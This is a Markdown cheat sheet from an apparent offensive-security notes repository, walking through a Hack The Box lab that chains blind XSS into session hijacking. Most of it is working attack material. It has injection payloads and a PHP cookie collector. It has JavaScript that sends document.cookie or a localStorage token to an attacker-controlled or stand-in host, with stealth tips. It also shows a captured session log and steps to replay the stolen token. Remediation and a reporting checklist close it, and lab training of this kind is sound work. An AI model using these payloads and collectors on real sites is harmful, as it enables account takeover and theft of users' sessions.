daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

blind-xss-to-session-hijacking.md (27509B)


      1 ---
      2 title: "Blind XSS to Session Hijacking"
      3 description: "Chaining blind XSS to session hijacking: out-of-band callbacks, cookie/session theft, exfiltration and account takeover."
      4 category: web
      5 tags: ["web", "xss", "session-hijacking"]
      6 tools: []
      7 difficulty: advanced
      8 updated: "2026-08-28"
      9 source: "vault:Web/Blind XSS to Session Hijacking - HTB Cheat Sheet.md"
     10 ---
     11 # Blind XSS to Session Hijacking — HTB Cheat Sheet
     12 
     13 ## Summary
     14 
     15 Blind cross-site scripting is stored XSS that fires inside an interface you never see, most often a support agent or administrator panel that renders attacker-controlled input. Because the execution happens out of band, you confirm it with a callback rather than a visible alert. The reliable Hack The Box chain is to inject a probe that phones home, prove the payload runs, upgrade it to a two-file collector that exfiltrates `document.cookie`, capture the victim's session token, then replay that token with a cookie editor to inherit the victim's authenticated session. This note is the field-ready version of the support.inlanefreight.local ticket walkthrough, generalised so any blind-XSS-to-hijack path can be reproduced from it. It complements Cross-Site Scripting (XSS) - HTB Cheat Sheet, which covers reflected, stored, and DOM contexts more broadly.
     16 
     17 > [!danger]+ Authorisation Boundary
     18 >
     19 > 1. Run these procedures only against **Hack The Box**, intentionally vulnerable labs, or systems you own and are explicitly authorised to test.
     20 > 2. A captured session cookie is live credential material. Treat it as such, use lab-only collector infrastructure, and delete `cookies.txt` and any stored tokens when the exercise ends.
     21 > 3. Hijacking a real user's session without authorisation is unauthorised access under laws such as the UK Computer Misuse Act. Keep it in the lab.
     22 > 4. XSS executes inside a browser. It does **not** by itself give you an operating-system shell on the target.
     23 
     24 ---
     25 
     26 ## The Attack Chain
     27 
     28 *Figure 1: The full out-of-band chain, from ticket injection to cookie replay. Attacker actions on the left, the unseen victim agent on the right.*
     29 
     30 | Stage | You do | What it proves |
     31 |---|---|---|
     32 | 1. Inject | Drop a callback probe into a stored field an agent will read | The field reaches a privileged renderer |
     33 | 2. Confirm | Catch the out-of-band hit on your listener | Blind XSS executes somewhere you cannot see |
     34 | 3. Collect | Serve a collector that reads `document.cookie` | You have infrastructure to receive the token |
     35 | 4. Exfiltrate | Agent's browser sends its cookie to your host | The session token is now in your log |
     36 | 5. Hijack | Load the token with Cookie-Editor and refresh | You are authenticated as the victim |
     37 
     38 ---
     39 
     40 ## Conceptual Information
     41 
     42 > [!info]+ Why It Is Called "Blind"
     43 >
     44 > 1. **Blind** means the injection point and the execution point are different surfaces. You submit into a customer ticket, the payload runs later inside the staff console.
     45 > 2. You never see the resulting DOM directly, only the side effect: an inbound request to infrastructure you control.
     46 > 3. This is why detection is **out-of-band (OOB)**. The proof is a network callback, not an on-screen `alert()`.
     47 > 4. Classic sinks: support and contact tickets, admin user lists, log viewers, moderation queues, exported reports, and any "an internal user will review this" workflow.
     48 
     49 > [!info]+ Why the Cookie Is Enough
     50 >
     51 > 1. Session cookies are bearer tokens. Whoever presents a valid `session=` value is treated as that user until it expires or is revoked.
     52 > 2. If the cookie is **not** marked `HttpOnly`, JavaScript can read it via `document.cookie`, which is exactly what blind XSS gives you.
     53 > 3. Replaying the token needs no password and bypasses MFA, because MFA is evaluated at login, not on every request.
     54 > 4. See [Session hijacking](https://owasp.org/www-community/attacks/Session_hijacking_attack) and [MITRE ATT&CK T1539 — Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/).
     55 
     56 > [!tip]+ Fast Chain Overview
     57 >
     58 > 1. **Probe** with `nc` to prove OOB execution before building anything heavy.
     59 > 2. **Upgrade** to `script.js` + `index.php` so you capture the token, not just a ping.
     60 > 3. **Use `new Image().src`** for exfiltration so the request is fire-and-forget and does not need a visible element.
     61 > 4. **Hijack** with Cookie-Editor rather than crafting raw requests, because it is faster and survives redirects.
     62 
     63 ---
     64 
     65 ## Tools Overview
     66 
     67 > [!info]+ [Netcat](https://man.openbsd.org/nc.1) Overview
     68 >
     69 > 1. Minimal TCP listener used as a first, disposable OOB catcher.
     70 > 2. Proves that an injected resource was requested, confirming blind execution.
     71 > 3. Does not return a valid HTTP response, so the victim browser may hang, which is why it is only a first probe.
     72 
     73 > [!info]+ [PHP Built-in Server](https://www.php.net/manual/en/features.commandline.webserver.php) Overview
     74 >
     75 > 1. `php -S` gives a quick, disposable web server with no Apache or Nginx setup.
     76 > 2. It can execute `index.php`, letting you log captured cookies to a file server-side.
     77 > 3. Ideal for a short-lived two-file collector that both serves the payload and records the loot.
     78 
     79 > [!info]+ [Cookie-Editor](https://cookie-editor.com/) Overview
     80 >
     81 > 1. Browser extension for viewing, adding, editing, and deleting cookies for the current site.
     82 > 2. Used to inject the stolen `session` value into your own browser to hijack the session.
     83 > 3. Handles the domain, path, and flags for you, which is faster than scripting `Set-Cookie` by hand.
     84 
     85 > [!info]+ [Interactsh](https://github.com/projectdiscovery/interactsh) Overview
     86 >
     87 > 1. Hosted OOB interaction service that catches DNS, HTTP, and SMTP callbacks.
     88 > 2. Gives a persistent record of every interaction with far less setup than self-hosting `nc` or `php -S`.
     89 > 3. Best when running many blind-injection tests across a large scope at once. See Blind XSS Tool - Interactsh.
     90 
     91 > [!info]+ [Burp Suite](https://portswigger.net/burp/documentation) Overview
     92 >
     93 > 1. Burp Collaborator is the commercial equivalent of Interactsh, integrated into the scanner and Repeater.
     94 > 2. Repeater lets you resubmit the injection one controlled change at a time.
     95 > 3. Useful when the ticket form needs authentication, CSRF tokens, or multi-step submission.
     96 
     97 ---
     98 
     99 ## Commands and Implementation
    100 
    101 ### 1. Confirm Blind XSS with a Simple Listener
    102 
    103 Inject a script include that points at a listener you control, then watch for the hit.
    104 
    105 ```html
    106 "><script src=http://10.10.14.213:9000/TESTING_THIS</script>
    107 ```
    108 
    109 ```bash
    110 nc -lvnp 9000
    111 
    112 listening on [any] 9000 ...
    113 connect to [10.10.14.213] from (UNKNOWN) [10.129.203.101] 56202
    114 GET /TESTING_THIS%3C/script HTTP/1.1
    115 Host: 10.10.14.213:9000
    116 User-Agent: HTBXSS/1.0
    117 ```
    118 
    119 > [!info]+ Command Breakdown
    120 >
    121 > 1. **`">`**: Breaks out of the current HTML attribute or tag context so the `<script>` is parsed as markup.
    122 > 2. **`<script src=...>`**: Loads a remote script, so any render of the ticket triggers a request to your host.
    123 > 3. **`nc -lvnp 9000`**: Listen (`-l`), verbose (`-v`), no DNS (`-n`), on port (`-p`) `9000`.
    124 > 4. **The callback**: The inbound `GET` from `10.129.203.101` (the victim) proves the payload executed somewhere out of band. This is the blind XSS hit.
    125 > 5. *Interpretation: confirmation only. The listener proves execution but does not yet give you anything useful. Note the `User-Agent: HTBXSS/1.0` and the `%3C` — the browser URL-encoded the `<` of your closing tag.*
    126 
    127 > [!warning]+ The Closing-Tag Gotcha
    128 >
    129 > 1. `nc` does not return a valid HTTP response, so `<script src>` may error and the browser can hang.
    130 > 2. The `%3C/script` in the log shows the parser mangled the closing tag. For reliable execution and clean exfiltration, prefer a real server and an `Image()`-based payload (below).
    131 > 3. Treat this step as a smoke test, then immediately upgrade to the collector.
    132 
    133 ### 2. Build the Two-File Cookie Collector
    134 
    135 Create `index.php` to log incoming cookies server-side.
    136 
    137 ```php
    138 <?php
    139 if (isset($_GET['c'])) {
    140     $list = explode(";", $_GET['c']);
    141     foreach ($list as $key => $value) {
    142         $cookie = urldecode($value);
    143         $file = fopen("cookies.txt", "a+");
    144         fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
    145         fclose($file);
    146     }
    147 }
    148 ?>
    149 ```
    150 
    151 Create `script.js` to grab and exfiltrate the cookie from the victim's browser.
    152 
    153 ```javascript
    154 new Image().src='http://10.10.14.213:9200/index.php?c='+document.cookie
    155 ```
    156 
    157 > [!info]+ Collector Breakdown
    158 >
    159 > 1. **`$_GET['c']`**: The cookie string arrives in the `c` query parameter set by `script.js`.
    160 > 2. **`explode(";", ...)`**: Splits multiple cookies so each is logged on its own line.
    161 > 3. **`urldecode(...)`**: Reverses the URL encoding the browser applied in transit.
    162 > 4. **`fputs(... "a+")`**: Appends `Victim IP | Cookie` to `cookies.txt` so repeat hits accumulate.
    163 > 5. **`new Image().src=...`**: Creates an off-DOM image whose source is your collector plus the cookie. The browser fires the request immediately with no visible element and no user interaction.
    164 > 6. *Interpretation: `script.js` runs in the victim, `index.php` records the result on your host. Two files, one clean capture.*
    165 
    166 ### 3. Serve the Collector
    167 
    168 ```bash
    169 sudo php -S 0.0.0.0:9200
    170 ```
    171 
    172 > [!info]+ Command Breakdown
    173 >
    174 > 1. **`sudo`**: Binding low ports or writing `cookies.txt` in a root-owned path may need elevation. Ports above 1024 usually do not, so drop `sudo` where you can.
    175 > 2. **`-S 0.0.0.0:9200`**: Starts the built-in server on all interfaces, port `9200`, so the HTB VPN interface is reachable.
    176 > 3. **`0.0.0.0`**: Listens on every local interface, including `tun0`. Binding to `127.0.0.1` would make the target unable to reach you.
    177 > 4. *Keep the shell open. Every callback is printed live and appended to `cookies.txt`.*
    178 
    179 ### 4. Inject the Upgraded Payload and Capture the Cookie
    180 
    181 ```html
    182 "><script src=http://10.10.14.213:9200/script.js></script>
    183 ```
    184 
    185 ```bash
    186 sudo php -S 0.0.0.0:9200
    187 
    188 [Tue Jun 21 00:33:27 2022] PHP 7.4.28 Development Server (http://0.0.0.0:9200) started
    189 [Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 Accepted
    190 [Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 [200]: (null) /script.js
    191 [Tue Jun 21 00:33:43 2022] 10.129.203.101:40104 [500]: GET /index.php?c=session=fcfaf93ab169bc943b92109f0a845d99
    192 ```
    193 
    194 > [!success]+ What the Log Shows
    195 >
    196 > 1. **` /script.js`**: The victim's browser fetched your exfiltration script. Execution confirmed.
    197 > 2. **`GET /index.php?c=session=fcfaf93ab169...`**: The follow-up request carries the agent's live `session` cookie. This is the loot.
    198 > 3. **The ``**: `index.php` may error after logging (for example on a missing response), which is harmless — check `cookies.txt`, the value is already written.
    199 > 4. *You now hold `session=fcfaf93ab169bc943b92109f0a845d99`, exactly what is needed to impersonate that session.*
    200 
    201 ```bash
    202 cat cookies.txt
    203 Victim IP: 10.129.203.101 | Cookie: session=fcfaf93ab169bc943b92109f0a845d99
    204 ```
    205 
    206 ### 5. Hijack the Session with Cookie-Editor
    207 
    208 > [!example]+ Session Replay Steps
    209 >
    210 > 1. Browse to the target application in your own browser and open **Cookie-Editor** from the toolbar.
    211 > 2. Find or create the `session` cookie for the target domain.
    212 > 3. Paste the stolen value `fcfaf93ab169bc943b92109f0a845d99` into the cookie's value field and save.
    213 > 4. Match the original `Domain`, `Path` (usually `/`), and flags where the app is strict about them.
    214 > 5. **Refresh the page.** The application now treats you as the victim, dropping you into their authenticated session with no password and no MFA prompt.
    215 
    216 > [!tip]+ Command-Line Alternative
    217 >
    218 > 1. If you prefer curl, replay the token directly: `curl -b "session=fcfaf93ab169bc943b92109f0a845d99" http://TARGET/admin/`.
    219 > 2. Cookie-Editor is usually faster on HTB because it survives client-side redirects and renders the authenticated UI for screenshots.
    220 
    221 ### 6. Optional — Hosted OOB Catcher with Interactsh
    222 
    223 For large scopes, swap the self-hosted listener for a hosted catcher that keeps a persistent log.
    224 
    225 ```bash
    226 interactsh-client -v
    227 ```
    228 
    229 > [!info]+ Command Breakdown
    230 >
    231 > 1. Generates a unique `*.oast.fun` (or self-hosted) domain that catches DNS, HTTP, and SMTP callbacks.
    232 > 2. Inject with the generated host, for example `"><script src=https://YOURID.oast.fun/x.js></script>`.
    233 > 3. Every interaction is timestamped and correlated, which beats scrolling `nc` output when many payloads are in flight.
    234 > 4. *Burp Collaborator is the equivalent inside Burp Suite. See Blind XSS Tool - Interactsh.*
    235 
    236 ### 7. PayloadsAllTheThings Payload Variants
    237 
    238 The [PayloadsAllTheThings XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md) README, under **Proof of Concept and Data Grabber**, is the canonical payload reference for this chain. It hands you the one-liners and the same `grabber.php` idea, but it is a payload dump, not a walkthrough, so the steps above are how you actually run them. The variants below all map onto stages 1, 2, and 4 of this note.
    239 
    240 ```html
    241 <!-- Remote-script includes (stage 1/4): pull your collector from an external host -->
    242 "><script src="https://js.rip/[ATTACKER.DOMAIN.TLD]"></script>
    243 "><script src=//[ATTACKER.DOMAIN.TLD]></script>
    244 <script>$.getScript("//[ATTACKER.DOMAIN.TLD]")</script>
    245 
    246 <!-- Fire-and-forget image beacon (preferred): no visible element, no interaction -->
    247 <script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+document.cookie;</script>
    248 
    249 <!-- localStorage bearer-token theft: use when the session lives in a JWT, not a cookie -->
    250 <script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+localStorage.getItem('access_token');</script>
    251 
    252 <!-- Navigation-based exfil (louder, redirects the victim away): fallback only -->
    253 <script>document.location='http://[ATTACKER.DOMAIN.TLD]/grabber.php?c='+document.cookie</script>
    254 
    255 <!-- fetch() POST exfil (stealthiest): cookie rides the body, stays out of access logs -->
    256 <script>
    257 fetch('https://[ATTACKER.DOMAIN.TLD]', { method: 'POST', mode: 'no-cors', body: document.cookie });
    258 </script>
    259 ```
    260 
    261 > [!info]+ Variant Breakdown
    262 >
    263 > 1. **Remote-script includes**: `js.rip`, protocol-relative `//host`, and jQuery `$.getScript()` are three ways to load your collector. Use protocol-relative when the target is HTTPS so the include is not blocked as mixed content.
    264 > 2. **`new Image().src`**: The preferred exfil. Off-DOM, fires instantly, no user interaction, matches stage 4 of this note.
    265 > 3. **`localStorage.getItem('access_token')`**: Many modern apps store a JWT or bearer token in `localStorage` rather than a cookie. When `document.cookie` comes back empty because of `HttpOnly`, this often still works and the token is just as good for hijacking.
    266 > 4. **`document.location='...'`**: Works, but navigates the victim's browser away from the page, which is noisy and can alert the agent. Treat it as a fallback.
    267 > 5. **`fetch(..., {method:'POST', mode:'no-cors', body: document.cookie})`**: The stealthiest option. The cookie travels in the POST body instead of the URL query string, so it never lands in server access logs. `no-cors` lets the request fire cross-origin without a preflight.
    268 > 6. *All of these need a collector listening. Point them at the `php -S` server from step 3, or at one of the platforms below.*
    269 
    270 > [!tip]+ Matching Grabber for the PATT Payloads
    271 >
    272 > 1. PayloadsAllTheThings ships this minimal grabber, functionally the same as the `index.php` in step 2:
    273 > ```php
    274 > <?php
    275 > $cookie = $_GET['c'];
    276 > $fp = fopen('cookies.txt', 'a+');
    277 > fwrite($fp, 'Cookie:' .$cookie."\r\n");
    278 > fclose($fp);
    279 > ?>
    280 > ```
    281 > 2. Serve it with `php -S` as in step 3, or with PATT's Ruby one-liner: `ruby -run -ehttpd . -p8080`.
    282 > 3. For `fetch()` POST exfil, read `php://input` instead of `$_GET['c']` because the cookie arrives in the request body.
    283 
    284 ---
    285 
    286 ## Blind XSS Collector Platforms
    287 
    288 The `nc` and `php -S` collectors above are perfect for a single HTB ticket. For anything larger, or when you want screenshots, the rendered DOM, the victim IP, and the referring page captured automatically, use a dedicated blind XSS platform. This is where the tool the question asked about, XSS Hunter Express, fits, along with its successors.
    289 
    290 > [!warning]+ XSS Hunter Express Is Archived
    291 >
    292 > 1. The original hosted `xsshunter.com` service shut down in 2023.
    293 > 2. The self-hosted [xsshunter-express](https://github.com/adamjsturge/xsshunter-express) was archived on 22 April 2024 and is read-only. It still runs, but it is built on end-of-life Node 12, so it is not the one to start a fresh setup on.
    294 > 3. The maintained successor is [xsshunter-go](https://github.com/adamjsturge/xsshunter-go), a Go rewrite by the same author. For a full-featured PHP option, [ezXSS](https://github.com/why/ezXSS) is the current community favourite.
    295 > 4. *Recommendation: reach for **ezXSS** or **xsshunter-go** for a new self-hosted collector, and keep **Interactsh** or **Burp Collaborator** for lightweight OOB confirmation.*
    296 
    297 | Tool | Type | Screenshots + DOM | Setup weight | Use it when |
    298 |---|---|---|---|---|
    299 | `nc` / `php -S` | Manual collector | No | Trivial | A single HTB ticket, quick confirm and grab |
    300 | [Interactsh](https://github.com/projectdiscovery/interactsh) | Hosted OOB catcher | No | None (client only) | Confirming execution across many payloads |
    301 | Burp Collaborator | OOB catcher | No | Burp Pro | You already live in Burp |
    302 | [ezXSS](https://github.com/why/ezXSS) | Self-hosted platform | Yes | Medium (PHP + MySQL) | Rich reports, screenshots, `localStorage`, non-HttpOnly cookies |
    303 | [xsshunter-go](https://github.com/adamjsturge/xsshunter-go) | Self-hosted platform | Yes | Low (single Docker) | Maintained XSS Hunter successor, simplest full platform |
    304 | [xsshunter-express](https://github.com/adamjsturge/xsshunter-express) | Self-hosted (archived) | Yes | Medium (Docker) | Legacy only, prefer xsshunter-go |
    305 
    306 ### Recommended — ezXSS Setup
    307 
    308 [ezXSS](https://github.com/why/ezXSS) is a self-hosted PHP platform that captures full-page screenshots, the page DOM, the origin and referrer, the victim IP and user agent, and all non-HttpOnly cookies, presented in a searchable dashboard. It is the most feature-complete self-hosted option in active development.
    309 
    310 > [!important]+ Prerequisites
    311 >
    312 > 1. A web server with PHP and a MySQL or MariaDB database, or Docker.
    313 > 2. A domain or subdomain you control pointing at the server, ideally short so payloads stay compact.
    314 > 3. TLS on that domain, because HTTPS targets will refuse an HTTP callback as mixed content.
    315 
    316 ```bash
    317 # Docker path (fastest)
    318 git clone https://github.com/why/ezXSS.git
    319 cd ezXSS
    320 docker compose up -d
    321 # then browse to https://YOURDOMAIN/manage/ and complete the installer
    322 ```
    323 
    324 > [!info]+ Setup Breakdown
    325 >
    326 > 1. **Clone and start**: `docker compose up -d` brings up the app and its database.
    327 > 2. **Installer**: Visit `/manage/` on first run to set your admin password and alert email, then delete or lock the installer as prompted.
    328 > 3. **Manual alternative**: Drop the files in your web root, create a MySQL database, set the credentials in `/src/Configuration.php`, run the installer at `/manage/`, then remove it.
    329 > 4. **DNS + TLS**: Point an `A` record at the box and terminate HTTPS (Let's Encrypt via a reverse proxy such as Caddy or Traefik is simplest).
    330 > 5. *After setup, the dashboard generates your payloads. See your fuller notes at Blind XSS Tool - ezXSS.*
    331 
    332 > [!example]+ Using ezXSS
    333 >
    334 > 1. In the dashboard, copy a generated payload, for example `"><script src=https://YOURDOMAIN/PAYLOADID></script>`.
    335 > 2. Inject it into the stored field exactly as in step 1 of this note.
    336 > 3. When the agent renders it, ezXSS records a report with the screenshot, DOM, cookies, and `localStorage`.
    337 > 4. Lift the session cookie or bearer token from the report and hijack with Cookie-Editor as in step 5.
    338 
    339 ### Alternative — xsshunter-go Setup
    340 
    341 [xsshunter-go](https://github.com/adamjsturge/xsshunter-go) is the maintained successor to XSS Hunter Express, deployed as a single Docker container with SQLite by default.
    342 
    343 ```yaml
    344 # docker-compose.yaml (minimal)
    345 services:
    346   xsshunter:
    347     image: adamjsturge/xsshunter-go:latest
    348     ports:
    349       - "1449:1449"
    350     environment:
    351       - CONTROL_PANEL_ENABLED=true
    352       - DOMAIN=https://xss.YOURDOMAIN.tld
    353     volumes:
    354       - ./db:/app/db/
    355       - ./screenshots:/app/screenshots/
    356 ```
    357 
    358 ```bash
    359 docker compose up -d
    360 ```
    361 
    362 > [!info]+ Setup Breakdown
    363 >
    364 > 1. **`DOMAIN`**: The hostname baked into generated payloads. Point DNS at the server and terminate TLS in front of it.
    365 > 2. **`CONTROL_PANEL_ENABLED`**: Turns on the admin dashboard where you read reports and copy payloads.
    366 > 3. **TLS**: The README ships a Traefik plus Let's Encrypt example for automatic HTTPS. A reverse proxy handles certificates cleanly.
    367 > 4. **Storage**: SQLite by default, or set `DATABASE_URL` for PostgreSQL. Screenshots persist in the mounted volume.
    368 > 5. **Notifications**: `NOTIFY` supports Discord, Slack, and Telegram via shoutrrr, so a fired payload pings you.
    369 > 6. *Inject and hijack exactly as with ezXSS. Cross-reference Blind XSS Tool - XSS Hunter.*
    370 
    371 ---
    372 
    373 ## What to Watch Out For
    374 
    375 | Symptom | What it means | Next step |
    376 |---|---|---|
    377 | Callback never arrives | Field is not rendered by a privileged user, or egress is blocked | Try other stored fields, wait for scheduled review jobs, confirm your host is VPN-reachable |
    378 | `nc` hit but `script.js` never loads | `nc` returned no valid HTTP response, browser aborted | Switch to `php -S` so a real `200` is returned |
    379 | `%3C/script` in the log | Browser URL-encoded the closing tag | Use `new Image().src` exfiltration instead of `<script src>` closing tags |
    380 | Cookie captured but hijack fails | Cookie may be `HttpOnly`, `Secure`, path-scoped, or `SameSite` bound | `HttpOnly` blocks `document.cookie` entirely; look for a non-HttpOnly token or a different attack |
    381 | `document.cookie` is empty | The useful cookie is `HttpOnly`, or none is set on that path | Inspect cookie attributes; blind XSS can still perform actions as the victim even without token theft |
    382 | Hijack works then drops | Server rotated or idle-expired the session | Recapture a fresh token, act quickly |
    383 
    384 > [!warning]+ HttpOnly Is the Main Blocker
    385 >
    386 > 1. `document.cookie` cannot read cookies flagged `HttpOnly`. An empty capture does **not** mean XSS failed.
    387 > 2. When the session cookie is `HttpOnly`, pivot to XSS-driven actions (change email, create an admin, perform a request as the victim) rather than token theft.
    388 > 3. Mixed content also bites: an HTTPS target may block an HTTP collector. Use an HTTPS catcher for HTTPS victims.
    389 
    390 ---
    391 
    392 ## Troubleshooting
    393 
    394 > [!failure]+ No Callback At All
    395 >
    396 > 1. Open your own collector URL from the HTB browser to confirm DNS, routing, and that the listener is on the `tun0`-reachable interface.
    397 > 2. Confirm the injected field is actually reviewed by staff or a background job, and give scheduled jobs time to run.
    398 > 3. Try a plain `<img src=http://YOU/probe>` before a `<script src>` to separate "reaches the renderer" from "executes script".
    399 
    400 > [!failure]+ Script Loads but No Cookie Arrives
    401 >
    402 > 1. Verify `script.js` uses `document.cookie` and points at the right host and port.
    403 > 2. Check the target's Content-Security-Policy for `connect-src`/`img-src` limits in the browser console.
    404 > 3. The session cookie is almost certainly `HttpOnly`. Confirm in devtools and switch to an action-based payload.
    405 
    406 > [!failure]+ Cookie Replays but Session Is Not Authenticated
    407 >
    408 > 1. Confirm the cookie name is exact (`session`, `PHPSESSID`, `connect.sid`, and so on).
    409 > 2. Match `Domain` and `Path` precisely in Cookie-Editor.
    410 > 3. Some apps bind the session to a user-agent or IP fingerprint; align your request or accept that theft is mitigated.
    411 
    412 ---
    413 
    414 ## Remediation
    415 
    416 1. **Encode on output for the exact context** so stored input in the agent view is rendered as text, not markup. This is the root fix.
    417 2. **Set `HttpOnly` on session cookies** so `document.cookie` cannot read them, defeating token exfiltration.
    418 3. **Set `Secure` and a strict `SameSite`** to limit where cookies travel and reduce replay surface.
    419 4. **Bind sessions to context** (rotate on privilege change, tie to a fingerprint, enforce idle and absolute timeouts) so a stolen token has a short useful life.
    420 5. **Deploy a Content-Security-Policy** with `script-src` nonces or hashes and no `unsafe-inline` to block injected and remote scripts.
    421 6. **Sanitise stored HTML** with a maintained allowlist library such as DOMPurify, and do not mutate the result afterwards.
    422 7. **Restrict outbound egress** from staff consoles so exfiltration callbacks cannot leave the network.
    423 8. **Enable Trusted Types** where supported to lock down dangerous DOM sinks in the admin interface.
    424 
    425 ---
    426 
    427 ## Evidence and Reporting Checklist
    428 
    429 1. Record the injection point (URL, method, field) and the account and role that rendered the payload.
    430 2. Save the exact injected payload, the collector source, and the raw callback log line.
    431 3. Capture `cookies.txt` (redacted as policy requires) showing the stolen token and victim IP.
    432 4. Screenshot the authenticated session after replay to prove impact, not just execution.
    433 5. State clearly whether the cookie was `HttpOnly` and how that affected the outcome.
    434 6. Delete `cookies.txt`, stored payloads, and any replayed tokens when the engagement ends.
    435 
    436 ---
    437 
    438 ## Lessons Learned
    439 
    440 1. **Confirmation and impact are separate claims.** A `nc` callback proves blind execution; only a captured, replayed cookie proves session hijack. Report them distinctly.
    441 2. **`new Image().src` beats a closing `<script>` tag** for exfiltration, because it is fire-and-forget and avoids the URL-encoding and hang problems seen with `nc`.
    442 3. **`php -S` is the sweet spot** for a lab collector: it both serves the payload and runs `index.php` to log the loot, with zero Apache setup.
    443 4. **`HttpOnly` is the single control that most often kills this chain.** When token theft fails, pivot to performing actions as the victim instead of stealing the cookie.
    444 5. **Hosted catchers scale.** For wide scopes, Interactsh or Burp Collaborator replace a wall of `nc` windows with one correlated, timestamped log.
    445 
    446 ---
    447 
    448 ## References
    449 
    450 1. [OWASP — Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
    451 2. [OWASP — Session hijacking attack](https://owasp.org/www-community/attacks/Session_hijacking_attack)
    452 3. [PortSwigger — Exploiting cross-site scripting to steal cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
    453 4. [MITRE ATT&CK T1539 — Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/)
    454 5. [MDN — Set-Cookie: HttpOnly and Secure](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie)
    455 6. [PHP — Built-in web server](https://www.php.net/manual/en/features.commandline.webserver.php)
    456 7. [PayloadsAllTheThings — XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md)
    457 8. [ezXSS](https://github.com/why/ezXSS)
    458 9. [xsshunter-go](https://github.com/adamjsturge/xsshunter-go)
    459 10. [xsshunter-express (archived)](https://github.com/adamjsturge/xsshunter-express)
    460 11. [Interactsh](https://github.com/projectdiscovery/interactsh)
    461 12. [Cookie-Editor](https://cookie-editor.com/)
    462 13. Cross-Site Scripting (XSS) - HTB Cheat Sheet
    463 14. Blind XSS Tool - Interactsh
    464 15. Blind XSS Tool - ezXSS
    465 16. Blind XSS Tool - XSS Hunter